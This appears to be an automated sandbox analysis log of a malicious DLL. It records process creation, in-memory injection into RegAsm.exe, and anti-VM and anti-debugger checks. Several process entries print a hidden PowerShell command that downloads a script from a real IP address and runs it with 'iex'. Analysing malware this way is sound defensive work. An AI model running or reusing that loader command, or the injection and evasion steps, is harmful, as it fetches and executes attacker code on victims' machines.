Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5788	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2360	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4479
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3192
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5998
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3025
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6594
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 6215	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 3600	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

API coverage: 9.1 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1824	Thread sleep count: 5788 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3800	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5648	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6684	Thread sleep count: 2360 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5704	Thread sleep count: 4479 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6904	Thread sleep time: -21213755684765971s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5936	Thread sleep count: 3192 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6640	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 876	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep count: 5998 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1464	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6892	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep count: 3025 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1012	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep count: 6594 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep count: 3143 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7256	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7624	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7652	Thread sleep time: -38738162554790034s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7504	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7548	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E9B6CE9 FindFirstFileExW,	0_2_6E9B6CE9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6E9B6CE9 FindFirstFileExW,	3_2_6E9B6CE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9B6CE9 FindFirstFileExW,	4_2_6E9B6CE9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000011.00000002.2400426674.0000000006D9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW
Source: RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxAAntiAnalysis : Hosting detected!AAntiAnalysis : Process detected!QAntiAnalysis : Virtual machine detected!AAntiAnalysis : SandBox detected!CAntiAnalysis : Debugger detected!
Source: RegAsm.exe, 0000001A.00000002.4689050924.0000000005910000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4688551208.00000000058CC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4688862524.0000000005901000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VirtualMachine:
Source: powershell.exe, 0000000D.00000002.2421701285.0000000007AED000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2331414790.0000000007B71000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2374643242.00000000075D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E9B5312 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6E9B5312

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E9B86D4 GetProcessHeap,

0_2_6E9B86D4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E9B1386 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6E9B1386
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E9B5312 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E9B5312
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E9B1865 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E9B1865
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6E9B1386 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6E9B1386
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6E9B5312 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6E9B5312
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6E9B1865 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6E9B1865
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9B1386 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6E9B1386
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9B5312 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6E9B5312
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9B1865 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6E9B1865

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 13.2.powershell.exe.6942dea.7.raw.unpack, Outils.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, Outils.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 13.2.powershell.exe.58251b8.5.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)

Compiles code for process injection (via .Net compiler)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11F2008	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B66008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 902008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B8F008

Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D8.tmp" "c:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67DA.tmp" "c:\Users\user\AppData\Local\Temp\wt2ogsc5\CSCB74DB134981A43F6AC9523DAB4F3A2ED.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D9.tmp" "c:\Users\user\AppData\Local\Temp\5swi5u3s\CSCAF633C7494E44EEF91E489AA57193A1E.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6AB6.tmp" "c:\Users\user\AppData\Local\Temp\snrj5tfq\CSC3E3C918B4DA048DEA31452744D593FA.TMP"	Jump to behavior

Source: RegAsm.exe, 0000001A.00000002.4668820759.000000000345A000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003341000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003627000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ProgMan
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd!SHELLDLL_DefView
Source: RegAsm.exe, 0000001A.00000002.4668820759.000000000345A000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003341000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003671000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,
Source: RegAsm.exe, 0000001A.00000002.4668820759.000000000345A000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003341000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003627000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E9B1A28 cpuid

0_2_6E9B1A28

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
